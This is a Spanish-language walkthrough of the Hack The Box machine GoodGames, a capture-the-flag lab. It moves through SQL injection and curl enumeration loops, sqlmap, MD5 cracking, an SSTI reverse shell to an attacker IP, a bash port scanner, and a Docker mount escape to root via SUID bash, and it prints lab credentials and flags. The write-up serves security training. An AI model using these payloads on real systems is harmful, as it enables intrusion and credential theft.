HTB Goodgames
Descripción
GoodGames es una máquina Easy linux
donde estaremos vulnerando la máquina a través de inyecciones SQL y listaremos base de datos de manera manual, estaremos rompiendo hashes y aprovechándonos de la reutilización de contraseñas. También destaca los peligros de utilizar render_template_string
en una aplicación web Python donde se refleja la entrada del usuario, permitiendo ataques de inyección de plantillas del lado del servidor (SSTI). La escalada de privilegios implica la enumeración y muestra cómo tener privilegios de administrador en un contenedor y un usuario de bajo privilegio en la máquina anfitriona puede ser peligroso, permitiendo ataques de inyección de plantilla del lado del servidor (SSTI).
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo a través del script implementado en bash whichSystem.sh
El sistema operativo es una Linux
Nmap
Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap. Comando: sudo nmap -p- --open -sS -T4 -vvv -n -Pn 192.168.1.20 -oG allPorts
Puertos abiertos son: 80
Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados.
Comando: nmap -sCV -p80,3306,33060 192.168.1.20 -oN targeted
Obteniendo:
Web Enumeration
Nos dirigimos a la página web y se visualiza lo siguiente:
Identificación de tecnologías y el gestor de contenido de la web a través whatweb
De la información listada podemos decir que va a existir un panel para iniciar sesión, regresando a la web se dispone del siguiente panel web de sesión
Burp Suite
Activamos el FoxyProxy que tiene configurado el Burp Suite e interceptando una petición en el panel de autenticación, se tiene:
Petición interceptada
Redirigimos la petición al Repeater
La petición de prueba nos está arrogando un Internal server error!
Se procede a probar si es vulnerable ataque SQLi, inyectando la típica query ' or 1=1-- -
Como se observa tenemos un acceso exitoso por lo que decimos que es vulnerable ataca SQLi
.
Entonces se procede a realizar la inyección en la sección de proxy, para de esta forma redirigirlo a la página web para tener un acceso exitoso.
Se presiona en la opción Forward
para redirigir la petición a la página web y apagamos la intercepción del proxy.
Se obtiene un acceso exitoso en la página web:
Vemos una rueda dentada en la esquina superior derecha de la página. Al hacer clic en el engranaje nos redirige a un nuevo subdominio llamado internal-administration.goodgames.htb
De primera instancia no podrá resolver el dominio, ya que se está realizando virtual hosting y tendremos que agregar el dominio en el /etc/hosts
Agregando dominio:
Al visitar el nuevo subdominio vemos una página de inicio de sesión de Flask Dashboard
.
No disponemos de credenciales para lo cual se enumerara la base de datos.
Enumeration MySQL
Se identifica el número de columnas de la tabla a través de ' order by 10-- -
primero se coloca un número muy grande y luego se lo va reduciendo hasta que cambia el valor de Content-Length
' order by 100-- -
No existe cambio enContent-Length
' order by 20-- -
No existe cambio en
Content-Length
' order by 10-- -
No existe cambio enContent-Length
' order by 5-- -
No existe cambio enContent-Length
' order by 4-- -
EXISTE cambio enContent-Length
Por lo que se puede concluir que la tabla dispone de 4 columnas
Se enumera el nombre de la base de datos actual
Encontramos que se llama main
Listamos todas las bases de datos existentes en el sistema a través de schema_name from information_schema.schemata
Obteniendo la base de datos information_schema
, main
Listamos todas las tablas de la base de datos: information_schema
Como se visualiza no podemos identificar las tablas entre tanto dato, por lo cual se limita la tabla a mostrar a través de la query limit
A través de esta query nos permite ir listando tabla por tabla
Se procede a listar las tablas por consola a través del comando curl
La regex que se va a utilizar para filtrar las columnas ser:
Se va a realizar un bucle for
para iterar sobre todas las columnas:
Estructura general bucle for:
1
for i in $(seq 1 100); do echo "[+] Para el numero $i: $()"; done
Este bucle iterará del 0 al 100 y dentro $()
deberíamos colocar el comando curl
con la regex antes creada
Bucle for
final:
1
for i in $(seq 0 100); do echo "[+] Para el numero $i: $(curl -s -X POST http://10.10.11.130/login --data "email=test@test.com' union select 1,2,3,table_name from information_schema.tables limit $i,1-- -&password=1234" | grep -i "welcome" | sed 's/^ *//' | cut -d '>' -f 2 | cut -d ' ' -f 2 | awk '{print $1}' FS='<')"; done
Obteniendo:
De donde es obtiene la tabla user
Con este bucle estamos listando todas las tablas del sistema
Se pudo haber enumerado solo la base de datos main
Comando:
1
for i in $(seq 0 100); do echo "[+] Para el numero $i: $(curl -s -X POST http://10.10.11.130/login --data "email=test@test.com' union select 1,2,3,table_name from information_schema.tables where table_schema=\"main\" limit $i,1-- -&password=1234" | grep -i "welcome" | sed 's/^ *//' | cut -d '>' -f 2 | cut -d ' ' -f 2 | awk '{print $1}' FS='<')"; done
Obteniendo la tabla user
Vamos a seguir la misma lógica que utilizamos en los laboratorios de SQL
Primero identificar la base da datos, luego enumerar la tablas, luego columnas y al final mostrar la data requerida.
Ya tenemos identificado la base de datos main
y la tabla user
Continuando con la enumeración de columnas:
Comando:
1
for i in $(seq 0 100); do echo "[+] Para el numero $i: $(curl -s -X POST http://10.10.11.130/login --data "email=test@test.com' union select 1,2,3,column_name from information_schema.columns where table_schema=\"main\" and table_name=\"user\" limit $i,1-- -&password=1234" | grep -i "welcome" | sed 's/^ *//' | cut -d '>' -f 2 | cut -d ' ' -f 2 | awk '{print $1}' FS='<')"; done
Obteniendo:
Se identifica las columnas: email
, id
, name
, password
Se muestra la data final
Obtenemos la data, comando:
1
for i in $(seq 0 100); do echo "[+] Para el numero $i: $(curl -s -X POST http://10.10.11.130/login --data "email=test@test.com' union select 1,2,3,group_concat(name,0x3a,email,0x3a,password) from user limit $i,1-- -&password=1234" | grep -i "welcome" | sed 's/^ *//' | cut -d '>' -f 2 | cut -d ' ' -f 2 | awk '{print $1}' FS='<')"; done
Obteniendo:
Como se visualiza solo existe una data que en esta caso corresponde al admin
- admin:admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec
Debemos romper la contraseña ya que se encuentra en formato MD5, se lo hará a través jhon
Hash Cracking with Jhon
Se guarda el hash en un archivo y se sabe que es MD5 porque tiene una longitud de 32 caracteres y también lo validamos con hash-identifier
Rompiendo el hash a traves de jhon
Comando: john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash
Se identifica que la contraseña es superadministrator
Disponemos de credenciales validas!!
Iniciaremos sesión en el panel de la pagina de Flask Dashboard
- username:
admin
- Password:
superadministrator
Ingreso con éxito en el sistema como usuario administrador
SQLmap
Guardar una peticion con Burp Suite
Enumeración base de datos
1
sqlmap -u http://10.10.11.130/login --data 'email=a&passwod=b' --batch --dbs
- Explicación Opciones: La opción “-u” indica la URL de la página web que se va a atacar, en este caso “http://10.10.11.130/login”. La opción “–data” especifica los datos que se van a enviar al servidor en la petición POST, en este caso “email=a&password=b”. La opción “–batch” indica que SQLmap debe ejecutarse en modo batch sin preguntar al usuario para ninguna confirmación. La opción “–dbs” indica que SQLmap debe enumerar las bases de datos disponibles en el servidor.
Listar tablas
1
sqlmap -r reqLogin --batch -D main --tables
Listar columnas
1
sqlmap -r ultimaPrueba --batch -D main -T user --columns
Listar la data final
1
sqlmap -r ultimaPrueba --batch -D main -T user -dump
Intrusión
Identificamos tecnologías y gestor de contenido como en toda página web
De donde se visualiza que trabaja con Flask y Python por lo cual sea muy probablemente vulnerable a Server Side Template Injection (SSTI
)
Navegando a la página de configuración vemos que podemos editar nuestros datos de usuario.
Después de cambiar nuestro nombre de usuario a {{7*7}} vemos que nuestro nombre de usuario se ha cambiado a 49 y nuestra carga útil SSTI se ha ejecutado.
Se comprueba que es vulnerable para SSTI
En esta etapa sabemos que el sitio es vulnerable a SSTI por lo que podemos inyectar un payload y obtener un Shell. Primero codificar a base64
nuestro payload, a continuación, iniciar un netcat
a nivel local
Comando: echo -ne 'bash -i >& /dev/tcp/10.10.14.7/4444' 0>&1 | base64
Obteniendo:
A continuación, construimos una carga útil SSTI
básica para entregar in situ a través del campo de nombre.
También se podría levantar un servidor http
con Python que contenga nuestra bash
Y ejecutar el payload en la página web:
De esta manera se habrá ganado acceso al sistema:
Ahora podemos entrar en el directorio de usuario y acceder a la bandera.
Flag: 1436dc662fc6320f0a46dbd5550c4868
Privilege Escalation via Docker Escape
Después de obtener una shell en el sistema, rápidamente nos damos cuenta de que estamos en un contenedor Docker.
Listando los directorios a través de ls
nos percatamos que el directorio home
del usuario augustus
muestra que en lugar de su nombre, el UID 1000
como propietario de los archivos y carpetas disponibles. Esto indica que el directorio del usuario está montado dentro del contenedor docker desde el sistema principal.
Comprobando el montaje a través de mount
vemos que el directorio de usuario del host está montado con el indicador de lectura/escritura activado.
La enumeración de los adaptadores de red disponibles muestra que la IP del contenedor es 172.19.0.2
. Docker suele asignar la primera dirección de la subred al sistema anfitrión en las configuraciones por defecto, por lo que 172.19.0.1
podría ser la dirección IP interna de Docker del host
Esto se ve claramente a través del comando route
Vamos a escanear el host en 172.19.0.1
para ver qué puertos están disponibles como parte de las comprobaciones básicas de movimiento lateral. Como nmap no está instalado podemos usar Bash en su lugar.
Utilizando:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!]Saliendo...\n"
tput cnorm; exit 1
}
# Ctrl + C
trap ctrl_c INT
tput civis
for port in $(seq 1 65535);do
timeout 1 bash -c "echo '' > /dev/tcp/172.19.0.1/$port" 2>/dev/null && echo "[+] Puerto $port - OPEN" &
done;wait
tput cnorm
Y convirtiéndolo en base64 para de esta manera copiarlo en la máquina víctima. Comando:
1
base64 -w 0 portScan.sh | xclip -sel clip
En la máquina víctima se decodifica la cadena y se lo guarda en un archivo portScan.sh
Se asigna permisos de escritura al script y se lo ejecuta:
Se encuentra que SSH está escuchando internamente. Intentamos reutilizar la contraseña en las cuentas root
y augustus
.
Esto tiene éxito y nos conectamos como Augustus
Sabiendo que el directorio de usuario está montado en el contenedor Docker, podemos escribir archivos en el Host y cambiar sus permisos a root desde dentro del contenedor. Estos nuevos permisos se reflejarán también en el sistema Host.
Copiar la bash al directorio de usuario como augustus
que ya estamos autenticados como en el host y sal de la sesión SSH. Cambia la propiedad del ejecutable bash a root:root
(propiedad de root y en el grupo root) desde el contenedor Docker y aplícale los permisos permisos SUID.
Comandos:
1
2
3
4
5
# As augustus on host machine
cp /bin/bash .
exit
# As root in the docker container
chown root:root bash
Obteniendo:
Volvemos a través de SSH de nuevo en el usuario augustus
y se comprueba que los permisos de la bash tiene permisos SUID.
Ejecute ./bash -p
y se abra otorgado una consola con privilegios root.
Podremos listar la flag root.txt
656a6614929b1b887d58f7cfe0174d5d